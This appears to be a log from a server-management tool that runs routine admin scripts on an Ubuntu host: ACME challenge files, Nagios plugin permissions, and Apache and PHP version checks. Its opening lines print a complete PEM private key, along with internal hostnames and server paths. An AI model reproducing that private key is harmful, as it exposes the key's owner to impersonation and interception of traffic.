hEOOBNPJfPGws56ioUPyTXVrdBHZXuqQ3dtOtrrY90SVdYxqAeqfD96CDjXvDOyB
3BCgE0hvSgFwld/AygqPt9rJvIbx2+0PnYoJAouI82n5abveAe6MPD8MvQwEM4C6
DInx+GvGE1IMzpb8ld3ry4v7RMTDypRsaDSt1wkIFiajr9uF/x7slrcMzkKgPW+v
Xfqkx4NYjxhEPlIfXJYCgA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCpMa/Jdy9rJ/BJ
kOiySGtbo2ptc/SmKnh/dRZyUrqTtAvrm+Rs6yPueAZilPvcwwVh86vWzyvMBlIn
US/nOMEWQOrne/CqfjmuE03KV80WULzN28sMloN/mcesDH1XJ0vPx5a1T/HrSOo5
Lwc7kSfEUGBKJkaBYExYgaUuIUm90Xjfjux9NpMR4hi0zc4U/1K1vt7jD15YDkfJ
ETuHYCLUn5IcT/UPmUaWr1S0q/RecWRpCnprEFjoS8AJpHs4ulK35aEVVjNSkiHH
YWJgvW0jEXOpGFCsESvLdXiF+nSCumG6fVDVJp1klPf00o2pjzHwdj4a+jscuyxM
C2hOdDzRAgMBAAECggEBAKShNTPqZdh1dyiN+O4o61Wyj8dKsf3Ri4gxzRKWjvdT
lNm/yad1sXPDlCruXpfzp1QlPsp4sVwHtn6NT/hD0BWwOyHdBlNPGR7Zp7LAdk1F
aEFCobNw7SkG4DP3vypDkU/vHCT2UiYnv8i+iuIaHsC1mMvtrGMM6ZyhIbHeMBui
l1dDuBuRO20Z1853pN73slyQwtHEPmrkt3iskZ1IxtAf0qEgD0CEgyNtDClt/CsA
7DSEXwrDpj8ZhXrj81kf1gPWht2vOWh8imsH1i6tovm6M+Yft29r67A5FjYjhTWm
qo+1ouCYNAnySUzT3ra6eLKat7yXCklUrCqVIPRs9kECgYEA0sQ8mF1+NovuJ9u4
Ed99oveH+MerkZyMGs8rksqxnd7gAE9eaBtnVBn6S1KOgHK7UMSpxskvQE2E4IoQ
B6+W79UhqHKRQV10CLEeqCikzNWN3mebxrgnFeHMI22QVXubcoySgmQiEp0lFtzS
ZY3x6F6PyGb98S6sIQfM178DOSkCgYEAzYFo6qmABq8g4R86cDVPxeTYa5lElyFk
RjjChOZ4koBQXHK9PYNJ3OfOE6Fd5BkBoOsTGW9sIkfQeCfcjwGtMvpqrZmi0Ebu
3i8fEeKvRGz7nR92Eb0Dy0Ass2kv6OI6aaHAIUmehPMMlHLbGcs3KTufh8h460t7
8GaNEN1902kCgYBbQPmXYotd5JH1ke0NV/1WjOPDM/g1sFj81ovgH4BtgOztVW/j
lVHUmPbEm/b06DfvzWZQmhSqO6X3be9o1H5+UoIjI49+hI7ToJRMbGSGB0RIcgWB
MYRCtiOjhzGBwWXZX8GjUOVrt7wyPOOfcqi1WhPYybbTMMj3+B+ZnaswmQKBgGjq
Mlfq5POEoPKNcNYsQWe0Z1C3VK8bWwgGnjgfOVsBqwUnhrlKt4DRzwFylm6G3a/7
kyqfGcN+ik1tfEp9/qBR+/hYwSg3rmc8A06sPfJe+S3EDBEOQEuZnbiScOUh6dRX
wbC81vLk6n03DehjOOwSBmXZ0PG+/a1Dja0Yhs5RAoGAdUNStInzeIwUu7FMplFO
PtVB8qh/cML8F/0VDa3/YqeZCJZLdqErdCAZDKyd3NeD+VwsTLlJMskBIm/FMKmR
vlCN4TbEVDL5OZjv3LNwFT2EVXgXXDmG0kHGsF0KUBFAiUyaVyvm+EuWytsb6Wvi
IoxDRhWC+yfOA583CIKXypk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-25 06:00:33: Establishing a connection
2025-12-25 06:00:33: Establishing a connection
2025-12-25 06:00:34: 

PUT: /tmp/pkp197889

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-25 06:00:34: 

chmod 755 /tmp/pkp197889; /tmp/pkp197889; rm /tmp/pkp197889

2025-12-25 06:00:34: 


1


2025-12-25 06:00:35: Establishing a connection
2025-12-25 06:00:35: 

PUT: /tmp/pkp761587

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > F7MhTgdLSV72s6QCLj4_PrMRDxs4CMWk5-qhq3c6b0M <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
F7MhTgdLSV72s6QCLj4_PrMRDxs4CMWk5-qhq3c6b0M.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 F7MhTgdLSV72s6QCLj4_PrMRDxs4CMWk5-qhq3c6b0M


2025-12-25 06:00:35: 

chmod 755 /tmp/pkp761587; /tmp/pkp761587; rm /tmp/pkp761587

2025-12-25 06:00:35: 




2025-12-25 06:00:36: Establishing a connection
2025-12-25 06:00:38: Establishing a connection
2025-12-25 06:00:39: 

PUT: /tmp/pkp737364

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-25 06:00:39: 

chmod 755 /tmp/pkp737364; /tmp/pkp737364; rm /tmp/pkp737364

2025-12-25 06:00:40: 


0


2025-12-26 06:00:01: Establishing a connection
2025-12-26 06:00:01: Establishing a connection
2025-12-26 06:00:02: 

PUT: /tmp/pkp401712

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-26 06:00:02: 

chmod 755 /tmp/pkp401712; /tmp/pkp401712; rm /tmp/pkp401712

2025-12-26 06:00:02: 


1


2025-12-26 06:00:04: Establishing a connection
2025-12-26 06:00:04: 

PUT: /tmp/pkp167916

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > vt66QsgwBctpJcnuZiX78g2Myr03avjwFmlac3X-OAo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vt66QsgwBctpJcnuZiX78g2Myr03avjwFmlac3X-OAo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vt66QsgwBctpJcnuZiX78g2Myr03avjwFmlac3X-OAo


2025-12-26 06:00:04: 

chmod 755 /tmp/pkp167916; /tmp/pkp167916; rm /tmp/pkp167916

2025-12-26 06:00:04: 




2025-12-26 06:00:05: Establishing a connection
2025-12-26 06:00:06: Establishing a connection
2025-12-26 06:00:08: 

PUT: /tmp/pkp230749

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-26 06:00:08: 

chmod 755 /tmp/pkp230749; /tmp/pkp230749; rm /tmp/pkp230749

2025-12-26 06:00:09: 


0


2025-12-26 13:52:35: Establishing a connection
2025-12-26 13:52:35: Establishing a connection
2025-12-26 13:52:37: 

PUT: /tmp/pkp489700

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp489700; /tmp/pkp489700; rm /tmp/pkp489700

2025-12-26 13:52:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-12-26 13:52:37: 

systemctl reload nagios

2025-12-26 13:52:37: 




2025-12-26 13:52:37: 

PUT: /tmp/pkp480642

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp480642; /tmp/pkp480642; rm /tmp/pkp480642

2025-12-26 13:52:37: 


ok


2025-12-26 13:52:37: 

PUT: /tmp/pkp945948

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp945948; /tmp/pkp945948; rm /tmp/pkp945948

2025-12-26 13:52:37: 


ok


2025-12-26 13:52:37: 

PUT: /tmp/pkp244177

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp244177; /tmp/pkp244177; rm /tmp/pkp244177

2025-12-26 13:52:37: 


ok


2025-12-26 13:52:37: 

PUT: /tmp/pkp372238

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp372238; /tmp/pkp372238; rm /tmp/pkp372238

2025-12-26 13:52:37: 


ok


2025-12-26 13:52:37: 

PUT: /tmp/pkp258700

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp258700; /tmp/pkp258700; rm /tmp/pkp258700

2025-12-26 13:52:37: 


ok


2025-12-26 13:52:37: 

PUT: /tmp/pkp366445

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp366445; /tmp/pkp366445; rm /tmp/pkp366445

2025-12-26 13:52:37: 


ok


2025-12-26 13:52:37: 

PUT: /tmp/pkp578849

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp578849; /tmp/pkp578849; rm /tmp/pkp578849

2025-12-26 13:52:37: 


ok


2025-12-26 13:52:37: 

PUT: /tmp/pkp211091

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp211091; /tmp/pkp211091; rm /tmp/pkp211091

2025-12-26 13:52:37: 


ok


2025-12-26 13:52:37: 

PUT: /tmp/pkp987408

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-12-26 13:52:37: 

chmod 755 /tmp/pkp987408; /tmp/pkp987408; rm /tmp/pkp987408

2025-12-26 13:52:37: 


ok


2025-12-26 13:59:47: Establishing a connection
2025-12-26 13:59:54: Establishing a connection
2025-12-26 13:59:54: Performing Server Status
2025-12-26 13:59:54: 

PUT: /tmp/pkp296007

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-26 13:59:54: 

chmod 755 /tmp/pkp296007; /tmp/pkp296007; rm /tmp/pkp296007

2025-12-26 13:59:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-26 13:59:54: 

PUT: /tmp/pkp733552

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-26 13:59:54: 

chmod 755 /tmp/pkp733552; /tmp/pkp733552; rm /tmp/pkp733552

2025-12-26 13:59:55: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1068
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1068  0.0  0.9 260428 38688 ?        Ss   13:44   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-26 13:59:55: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'aries',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'cgi_module',
      18 => 'deflate_module',
      19 => 'dir_module',
      20 => 'env_module',
      21 => 'filter_module',
      22 => 'headers_module',
      23 => 'mime_module',
      24 => 'mpm_prefork_module',
      25 => 'negotiation_module',
      26 => 'php_module',
      27 => 'proxy_module',
      28 => 'proxy_fcgi_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
    ),
  ),
)


2025-12-26 13:59:55: 

PUT: /tmp/pkp968104

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-26 13:59:55: 

chmod 755 /tmp/pkp968104; /tmp/pkp968104; rm /tmp/pkp968104

2025-12-26 13:59:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-26 13:59:55: 

PUT: /tmp/pkp343317

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-26 13:59:55: 

chmod 755 /tmp/pkp343317; /tmp/pkp343317; rm /tmp/pkp343317

2025-12-26 13:59:56: 


[php8.1]
php=/usr/bin/php8.1
fpm=/etc/php/8.1/fpm/pool.d
version=8.1.34
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
